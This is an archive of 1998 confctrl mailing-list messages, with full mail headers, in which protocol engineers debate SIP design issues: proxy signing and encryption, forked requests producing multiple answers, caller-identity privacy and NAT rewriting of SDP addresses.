X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SIP: Proxy Authentication
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Should a proxy be allowed to sign a request?

Suggested resolution: Yes, since end system may not be capable of doing
this. Better to have a request signed by ``Columbia University'' than
not signed at all.
 
Changes needed: Add \header{signed-by} parameter to
\header{Authorization}.

From confctrl-owner  Fri Mar 27 10:43:16 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA02869
	for confctrl-outgoing; Fri, 27 Mar 1998 10:43:16 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA02864
	for <confctrl@zephyr.isi.edu>; Fri, 27 Mar 1998 10:43:15 -0800 (PST)
Received: from thumper.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA21483
	for <confctrl@isi.edu>; Fri, 27 Mar 1998 10:43:12 -0800 (PST)
Received: from seawind.bellcore.com (seawind.bellcore.com [192.4.18.101])
	by thumper.bellcore.com (8.8.8/8.8.8) with ESMTP id NAA18868;
	Fri, 27 Mar 1998 13:42:40 -0500 (EST)
Received: (from huitema@localhost)
	by seawind.bellcore.com (8.8.8/8.8.8) id NAA11896;
	Fri, 27 Mar 1998 13:42:40 -0500 (EST)
Date: Fri, 27 Mar 1998 13:42:40 -0500 (EST)
From: Christian Huitema <huitema@bellcore.com>
Message-Id: <980327134239.ZM11894@seawind.bellcore.com>
In-Reply-To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
        "SIP: Forked request" (Mar 27, 12:46pm)
References: <351BE5ED.B1266082@cs.columbia.edu>
X-Mailer: Z-Mail (5.0.0 30July97)
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>, confctrl@ISI.EDU
Subject: Re: SIP: Forked request
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Mar 27, 12:46pm, Henning Schulzrinne wrote:
> Subject: SIP: Forked request
> Problem: What happens if a forked request produces multiple
> 2xx responses if several people ``pick up the phone''?
>
> Suggested resolution:  Proxy should send a BYE to the late comers.

That is dirty.  There should be a way to solve it through by forking
multiple "probes", then following on with a real invite.

-- 
Christian Huitema
----------
See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/

From confctrl-owner  Fri Mar 27 10:50:59 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA03461
	for confctrl-outgoing; Fri, 27 Mar 1998 10:50:59 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA03446
	for <confctrl@zephyr.isi.edu>; Fri, 27 Mar 1998 10:50:54 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA22268
	for <confctrl@isi.edu>; Fri, 27 Mar 1998 10:50:52 -0800 (PST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id NAA19960; Fri, 27 Mar 1998 13:50:48 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id NAA26662; Fri, 27 Mar 1998 13:50:47 -0500 (EST)
Message-ID: <351BF500.F828CD3D@cs.columbia.edu>
Date: Fri, 27 Mar 1998 13:50:41 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Christian Huitema <huitema@bellcore.com>
CC: confctrl@ISI.EDU
Subject: Re: SIP: Forked request
References: <351BE5ED.B1266082@cs.columbia.edu> <980327134239.ZM11894@seawind.bellcore.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Christian Huitema wrote:
> 
> On Mar 27, 12:46pm, Henning Schulzrinne wrote:
> > Subject: SIP: Forked request
> > Problem: What happens if a forked request produces multiple
> > 2xx responses if several people ``pick up the phone''?
> >
> > Suggested resolution:  Proxy should send a BYE to the late comers.
> 
> That is dirty.  There should be a way to solve it through by forking
> multiple "probes", then following on with a real invite.

That option exists today (OPTIONS). However, the behavior described
(phone rings on several desks or in different rooms) is fairly common
and useful both at home and in the office.

Also, not clear how this probe would work. Would you actually ring the
phone? If you don't, how do you know that somebody is sitting there? I
don't think I want a "Excuse me, just a hypothetical question, if this
phone were to ring right now, would you consider picking it up - just
asking..." user interface.

From confctrl-owner  Fri Mar 27 11:02:34 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA04579
	for confctrl-outgoing; Fri, 27 Mar 1998 11:02:34 -0800 (PST)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA04569
	for <confctrl@zephyr.isi.edu>; Fri, 27 Mar 1998 11:02:31 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by venera.isi.edu (8.8.7/8.8.6) with SMTP id LAA10805
	for <confctrl@ISI.EDU>; Fri, 27 Mar 1998 11:02:28 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id OAA07228; Fri, 27 Mar 1998 14:02:14 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Christian Huitema <huitema@bellcore.com>
cc: Henning Schulzrinne <schulzrinne@cs.columbia.edu>, confctrl@ISI.EDU
Subject: Re: SIP: Forked request 
In-reply-to: Your message of "Fri, 27 Mar 1998 13:42:40 EST."
             <980327134239.ZM11894@seawind.bellcore.com> 
Date: Fri, 27 Mar 1998 14:02:14 -0500
Message-ID: <7226.891025334@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>On Mar 27, 12:46pm, Henning Schulzrinne wrote:
>> Subject: SIP: Forked request
>> Problem: What happens if a forked request produces multiple
>> 2xx responses if several people ``pick up the phone''?
>>
>> Suggested resolution:  Proxy should send a BYE to the late comers.
>
>That is dirty.  There should be a way to solve it through by forking
>multiple "probes", then following on with a real invite.

It seems we might need an ACK to indicate to the later callee what
happened (I assume the proxy already relayed the first response back
to the caller).  Under these circumstances, it should probably be up
to the callees to decide the correct course of action, and handle this
using call-transfer functionality if necessary.

Cheers,
	Mark

From confctrl-owner  Fri Mar 27 14:40:03 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA14181
	for confctrl-outgoing; Fri, 27 Mar 1998 14:40:03 -0800 (PST)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA14176
	for <confctrl@zephyr.isi.edu>; Fri, 27 Mar 1998 14:40:01 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by venera.isi.edu (8.8.7/8.8.6) with SMTP id OAA13389
	for <confctrl@ISI.EDU>; Fri, 27 Mar 1998 14:40:00 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id RAA09245; Fri, 27 Mar 1998 17:39:36 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
cc: confctrl@ISI.EDU
Subject: Re: SIP: Proxy encryption 
In-reply-to: Your message of "Fri, 27 Mar 1998 12:55:48 EST."
             <351BE824.573BDF38@cs.columbia.edu> 
Date: Fri, 27 Mar 1998 17:39:36 -0500
Message-ID: <9243.891038376@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>Should proxies be allowed to encrypt requests and responses?
>
>Suggested resolution: Yes.  This may be useful and necessary for
>a corporate environment and outgoing calls:  the proxy/firewall needs to
>see the SDP content and may need to rewrite it for NAT and net-10
>reasons. Also allows embedded clients to get the benefit of encryption.

Whilst I agree this might be useful, we have to be careful about the
relationship between encryption and authentication.

The normal SIP model has the sender perform encryption and then the
digital signature for authentication is done over the encrypted
payload.  This is more powerful than the other way around because it
allows smart proxies to check the signature without needing the
decryption key.

If you allow a proxy to perform encryption, you still want end-to-end
authentication to be possible.  Here, the digital signature gets
performed over the cleartext, and then the proxy performs encryption,
rendering the signature invalid.  


If the reason for doing this is to allow a smart NAT to fix up the SDP
payload, the NAT will screw up the signature too.  There seem to be
two ways around this, and both are ugly.

 - talk to the NAT and get your address from the NAT, and then not
   need the payload to be fixed up.

 - use your key to sign certify the NAT's key, and the have the NAT
   actually sign the modified message.

Neither of these need specifying in SIP - they're both outside of the
scope of SIP itself (though not of systems involving SIP - perhaps a
separate ID: "sip and smart firewalls"?).


If the reason for permitting proxy-encryption is because some boxes
are too dumb to do it themselves, I'm not convinced this is a good
enough argument to justify breaking our rule of "proxies only mess
with hop-by-hop fields".

I think end-to-end authentication is _so_ important that I would
rather not see proxy-encryption being permitted in the base draft.

Cheers,
	Mark

From confctrl-owner  Fri Mar 27 14:57:21 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA14841
	for confctrl-outgoing; Fri, 27 Mar 1998 14:57:21 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA14835
	for <confctrl@zephyr.isi.edu>; Fri, 27 Mar 1998 14:57:19 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA08142
	for <confctrl@ISI.EDU>; Fri, 27 Mar 1998 14:57:14 -0800 (PST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id RAA09146; Fri, 27 Mar 1998 17:57:12 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id RAA27672; Fri, 27 Mar 1998 17:57:10 -0500 (EST)
Message-ID: <351C2EC2.2EC7F79A@cs.columbia.edu>
Date: Fri, 27 Mar 1998 17:57:06 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Mark Handley <mjh@ISI.EDU>
CC: confctrl@ISI.EDU
Subject: Re: SIP: Proxy encryption
References: <9243.891038376@north.lcs.mit.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

In the dumb-client case, the proxy will probably both sign (as a
third-party) and encrypt, so this maintains the
signature-around-encryption model. It's then up to the intermediate
proxies to decide whether to trust something signed by "Columbia
University" or insist on my personal signature. Personally, I'd rather
trust something that an institution is willing to sign - they have
deeper pockets if I need to send lawyers...

However, I'm not convinced that the model "first encrypt, then sign" is
always the appropriate one. If I want to hide my identity to all but the
end system, signing my request in the open is not exactly the best way
to do this. As with any degree of anonymity (e.g., hiding the From
field), I run the risk that some intermediary won't like this and will
refuse to forward my call. However, that's a trade-off best left to the
user.

Caller identity is very sensitive information, requiring a court order
to get, so requiring that I put a signature visible to every unknown
proxy along the way on every call is not going to fly.

The truly dangerous stuff (like redirecting existing calls or getting
somebody to send media to an unsuspecting third party) seems to mostly
affect end systems.

Note: if you'd want to require (or expect) authentication on every call,
you have to outlaw pay phones :-)

From confctrl-owner  Fri Mar 27 15:18:57 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA15742
	for confctrl-outgoing; Fri, 27 Mar 1998 15:18:57 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA15737
	for <confctrl@zephyr.isi.edu>; Fri, 27 Mar 1998 15:18:56 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA09755
	for <confctrl@ISI.EDU>; Fri, 27 Mar 1998 15:18:54 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id SAA09339; Fri, 27 Mar 1998 18:18:47 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
cc: confctrl@ISI.EDU
Subject: Re: SIP: Proxy encryption 
In-reply-to: Your message of "Fri, 27 Mar 1998 17:57:06 EST."
             <351C2EC2.2EC7F79A@cs.columbia.edu> 
Date: Fri, 27 Mar 1998 18:18:47 -0500
Message-ID: <9337.891040727@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>Caller identity is very sensitive information, requiring a court order
>to get, so requiring that I put a signature visible to every unknown
>proxy along the way on every call is not going to fly.

Actually this is a good point, and something we need to fix in the
current draft.  

It appears there's the possibility in the current spec for us to allow
an external identify (From field in the clear) and an internal
identity (From field encrypted) and on decryption our current rules
say the internal From field replaces the external one.  In addition,
the spec would also allow an external Authorization field and an
internal one.

Thus you can have an external identity that clears you through
authenticating proxies and protects the header fields against
tampering, but doesn't reveal your true identity to anyone, and an
internal identity that is only revealed to the recipient.  The only
change we need is to note explicitly that this may occur (ie a
receiver may need to check a second signature after decryption).


Now, a separate issue is the one of whether we let a NAT change the
addresses in the SDP payload - it's this idea I don't like.

Cheers,
	Mark

From confctrl-owner  Fri Mar 27 15:32:32 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA16383
	for confctrl-outgoing; Fri, 27 Mar 1998 15:32:32 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA16378
	for <confctrl@zephyr.isi.edu>; Fri, 27 Mar 1998 15:32:29 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA10740
	for <confctrl@ISI.EDU>; Fri, 27 Mar 1998 15:32:28 -0800 (PST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id SAA12025; Fri, 27 Mar 1998 18:32:26 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id SAA27857; Fri, 27 Mar 1998 18:32:25 -0500 (EST)
Message-ID: <351C3709.F6497762@cs.columbia.edu>
Date: Fri, 27 Mar 1998 18:32:25 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Mark Handley <mjh@ISI.EDU>
CC: confctrl@ISI.EDU
Subject: Re: SIP: Proxy encryption
References: <9337.891040727@north.lcs.mit.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

-- 
Henning Schulzrinne        email: schulzrinne@cs.columbia.edu
Dept. of Computer Science  phone: +1 212 939-7042 (@Bell Labs: 732 949
8344)
Columbia University        fax:   +1 212 666-0140
New York, NY 10027         URL:   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Fri Mar 27 15:42:21 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA16842
	for confctrl-outgoing; Fri, 27 Mar 1998 15:42:21 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA16837
	for <confctrl@zephyr.isi.edu>; Fri, 27 Mar 1998 15:42:19 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA11411
	for <confctrl@ISI.EDU>; Fri, 27 Mar 1998 15:42:17 -0800 (PST)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id SAA12480; Fri, 27 Mar 1998 18:42:16 -0500 (EST)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id SAA27882; Fri, 27 Mar 1998 18:42:15 -0500 (EST)
Message-ID: <351C3957.9260D4D7@cs.columbia.edu>
Date: Fri, 27 Mar 1998 18:42:15 -0500
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: Mark Handley <mjh@ISI.EDU>
CC: confctrl@ISI.EDU
Subject: Re: SIP: Proxy encryption
References: <9337.891040727@north.lcs.mit.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

(my previous message was written with invisible ink.)

Mark Handley wrote:
> 
> >Caller identity is very sensitive information, requiring a court order
> >to get, so requiring that I put a signature visible to every unknown
> >proxy along the way on every call is not going to fly.
> 

> 
> It appears there's the possibility in the current spec for us to allow
> an external identify (From field in the clear) and an internal
> identity (From field encrypted) and on decryption our current rules
> say the internal From field replaces the external one.  In addition,
> the spec would also allow an external Authorization field and an
> internal one.

To clear proxies, there's the Proxy-Authorization header. We just need
to make clear that it should probably not be encrypted...

> 
> Thus you can have an external identity that clears you through
> authenticating proxies and protects the header fields against
> tampering, but doesn't reveal your true identity to anyone, and an
> internal identity that is only revealed to the recipient.  The only
> change we need is to note explicitly that this may occur (ie a
> receiver may need to check a second signature after decryption).
> 
> Now, a separate issue is the one of whether we let a NAT change the
> addresses in the SDP payload - it's this idea I don't like.

Our writing it in the spec won't deter NAT vendors :-)

One possibility, suggested reluctantly, is to adopt the RTSP approach of
declaring the media transport ports in the header rather than (or in
addition to) SDP, using the Transport header. That way, they can be left
outside the encryption and can be inspected by intervening firewalls. 

The current scheme basically forces encryption on the message body if
you do any encryption. Compared to most header fields, the SDP stuff is
not all that sensitive.


> 
> Cheers,
>         Mark

From confctrl-owner  Fri Mar 27 16:07:06 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA17899
	for confctrl-outgoing; Fri, 27 Mar 1998 16:07:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA17893
	for <confctrl@zephyr.isi.edu>; Fri, 27 Mar 1998 16:07:03 -0800 (PST)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id QAA13014
	for <confctrl@ISI.EDU>; Fri, 27 Mar 1998 16:07:01 -0800 (PST)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id TAA09512; Fri, 27 Mar 1998 19:06:57 -0500
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
cc: confctrl@ISI.EDU
Subject: Re: SIP: Proxy encryption 
In-reply-to: Your message of "Fri, 27 Mar 1998 18:42:15 EST."
             <351C3957.9260D4D7@cs.columbia.edu> 
Date: Fri, 27 Mar 1998 19:06:57 -0500
Message-ID: <9510.891043617@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>> Now, a separate issue is the one of whether we let a NAT change the
>> addresses in the SDP payload - it's this idea I don't like.
>
>Our writing it in the spec won't deter NAT vendors :-)
>
>One possibility, suggested reluctantly, is to adopt the RTSP approach of
>declaring the media transport ports in the header rather than (or in
>addition to) SDP, using the Transport header. That way, they can be left
>outside the encryption and can be inspected by intervening firewalls. 

Another possibility is to put addresses we want translated in the
clear in a payload independent format:

Eg client adds:

  Address-Map: 10.1.2.3

NAT changes it to:

  Address-Mapped: 10.1.2.3 128.12.34.56

It's then up to the remote end system to do the translation of the
payload using these mappings.  This requires the app knows about the
NAT, but so does SOCKS.

If you want to hide the internal address, we can go one stage further:

Eg client adds:

  Address-Map: 10.0.0.1 10.1.2.3
               ^^^^^^^^ ^^^^^^^^
	       token    real internal address

NAT changes it to:

  Address-Mapped: 10.0.0.1 128.12.34.56

The token 10.0.0.1 is a fake address chosen by the client.  In the
SDP, the client then refers to 10.0.0.1 rather than the real address
which is only known between it and the NAT.

This is of course pretty ugly, but possibly less so than having to put
the transport fields in the clear for all possible transports.

Cheers,
	Mark

From confctrl-owner  Fri Mar 27 16:39:19 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA19028
	for confctrl-outgoing; Fri, 27 Mar 1998 16:39:19 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA19023
	for <confctrl@zephyr.isi.edu>; Fri, 27 Mar 1998 16:39:17 -0800 (PST)
Received: from alpha.mcit.com (alpha.mcit.com [199.249.18.143])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA15415;
	Fri, 27 Mar 1998 16:39:05 -0800 (PST)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
          by alpha.mcit.com (8.8.8/) with ESMTP
	  id TAA25312; Fri, 27 Mar 1998 19:38:33 -0500 (EST)
Received: from cosexch002.mcit.com (cosexch002.mcit.com [166.37.27.89])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id TAA22654; Fri, 27 Mar 1998 19:38:32 -0500 (EST)
Received: by cosexch002.mcit.com with Internet Mail Service (5.5.1960.3)
	id <HYQN7AMY>; Fri, 27 Mar 1998 17:38:32 -0700
Message-ID: <950D352C8400D111B58D00805FEAB7D898B648@nsrip00208.mcit.com>
From: "Greene, Wedge" <Wedge.Greene@MCI.com>
To: "'Mark Handley'" <mjh@ISI.EDU>,
        Henning Schulzrinne
	 <schulzrinne@cs.columbia.edu>
Cc: confctrl@ISI.EDU
Subject: RE: SIP: Proxy encryption 
Date: Fri, 27 Mar 1998 17:38:30 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.1960.3)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is something Henning and I have been discussing.  It is possible
that a disclaimer placed in the SIP Client or returned as a message by
the Server which announces that the user's name & address/# is being
sent clear and that allows the user to implicitly accept by continuing
to use service will be enough legal protection.  This could even be a
feature placed at install of client software and in registering with SIP
server. Recommendations for this should be placed in the SIP spec.

I am preparing this issue for forward to an MCI layer for an opinion.
Will inform list of result if council allows (which they very well might
not); nevertheless it might be a good idea to get several legal
opinions.


###############################################################
# wedge.greene@mci.com                                        #
# ----------------------------------------------------------- #
# Wedge Greene                              Advisory Engineer #
# MCI                                            Architecture #
#                         Next Generation Intelligent Network #
# 901 International Pky              Fax:   +1 (972) 498-1147 #
# Richardson, Texas  75081           Phone: +1 (972) 498-1232 #
# U.S.A.                                                      #
###############################################################

> -----Original Message-----
> From:	Mark Handley [SMTP:mjh@ISI.EDU]
> Sent:	Friday, March 27, 1998 5:19 PM
> To:	Henning Schulzrinne
> Cc:	confctrl@ISI.EDU
> Subject:	Re: SIP: Proxy encryption 
> 
> 
> >Caller identity is very sensitive information, requiring a court
> order
> >to get, so requiring that I put a signature visible to every unknown
> >proxy along the way on every call is not going to fly.
> 
> Actually this is a good point, and something we need to fix in the
> current draft.  
> 
> It appears there's the possibility in the current spec for us to allow
> an external identify (From field in the clear) and an internal
> identity (From field encrypted) and on decryption our current rules
> say the internal From field replaces the external one.  In addition,
> the spec would also allow an external Authorization field and an
> internal one.
> 
> Thus you can have an external identity that clears you through
> authenticating proxies and protects the header fields against
> tampering, but doesn't reveal your true identity to anyone, and an
> internal identity that is only revealed to the recipient.  The only
> change we need is to note explicitly that this may occur (ie a
> receiver may need to check a second signature after decryption).
> 
> 
> Now, a separate issue is the one of whether we let a NAT change the
> addresses in the SDP payload - it's this idea I don't like.
> 
> Cheers,
> 	Mark

From confctrl-owner  Sun Mar 29 14:31:13 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA12483
	for confctrl-outgoing; Sun, 29 Mar 1998 14:31:13 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA12478
	for <confctrl@zephyr.isi.edu>; Sun, 29 Mar 1998 14:31:11 -0800 (PST)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA22106
	for <confctrl@ISI.EDU>; Sun, 29 Mar 1998 14:31:08 -0800 (PST)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id AAA02826; Mon, 30 Mar 1998 00:25:56 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 422565D6.007B9D57 ; Mon, 30 Mar 1998 00:30:12 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: schulzrinne@cs.columbia.edu
cc: confctrl@ISI.EDU
Message-ID: <422565D6.000BDE92.00@il4.vocaltec.co.il>
Date: Sun, 29 Mar 1998 10:21:39 +0200
Subject: Re: SIP: Proxy encryption and authentication
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


There are definitely applications from the Telco world that will require
allowing proxies to encrypt and sign. This will happen at the edges of
networks at SIP proxy servers which represent the "phone subscribers" of
the networks.

Did I understand Wedge's concern -- that user names might be sent in the
clear, because user-to-user encryption may not be allowable or available? I
would assume that an operator would want to be able to authenticate and
decrypt packets from one of its subscribers at a proxy server (for example
before injecting it into the PSTN with correct calling line id or passing
it to a peer "SIP network"). The ability of a proxy to decrypt and
authenticate would solve his problem.

BTW, Henning wrote:
>Note: if you'd want to require (or expect) authentication on every call,
>you have to outlaw pay phones :-)

This is not true, authentication occurs on every call from every pay phone
every time. It is often end-to-end authentication. The point is that it is
the *phone number* that is being authenticated, not the *human caller.*
The phone number (aka SIP address of the phone) is authenticated via
hardware (aka wire to the CO) on every call. It is a legal requirement for
the phone network to receive an authenticated version of the phone number
(the two reasons for this requirement are emergency services  like 911 and
tracing of malicious calls.) Note that the phone devices themselves are not
authenticated (if you have 2 phones at home and you call the police they
can know from which phone number the call was made but not which phone made
the call).

These sorts of "device authentication" mechanisms might also require proxy
authentication and encryption.

The SIP equivalent of this pay phone might be having the client device sign
and encrypt the packet with the device's key, not the user's key. Is such a
thing possible in the current spec? I think it needs to be.

(Actually, when a user like "petrack@vocaltec.com" picks up a "pay
SIPphone," say with SIP address "+1-212-555-4321@acme.com" drops in a
quarter and makes a phone call, is the SIPphone acting as a proxy server?
Does it put its own address into the Via: field? What is the correct way to
identify the SIP client device or application from which the human user
makes the call?)

Finally, interoperation with "smart firewalls" is important for more than
just the NAT stuff, it will also help allow proxies to do other "advanced
services" (such as add a multicast/unicast translator into a call, etc.).

On the face of it, it seems to me that user-to-user encryption of the
payload of the packet is just incompatible with having a clever network
device muck about with the payload of the packet. I am happy that SIP
supports user-to-user authentication and encryption, but clearly other
models also need to be supported. I think that it would be wrong to forbid
having a proxy act fully on behalf the thing it's proxy-ing for (device or
user).

I guess the two possibilities are: put into SIP mechanism for full
hop-by-hop encryption/authentication (where a hop is a Via: hop, not a
router hop, of course) This would not be very hard to do; or add text
saying that a proxy MAY sign/encrypt/decrypt packets according to the
wishes of the entity it is proxy-ing for.

It's ironic that this is needed for Telco applications, since Telephone
signalling has no security at all itself. It relies entirely on the
physical separation of the signaling network.

Scott



From confctrl-owner  Sun Mar 29 14:31:15 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA12491
	for confctrl-outgoing; Sun, 29 Mar 1998 14:31:15 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
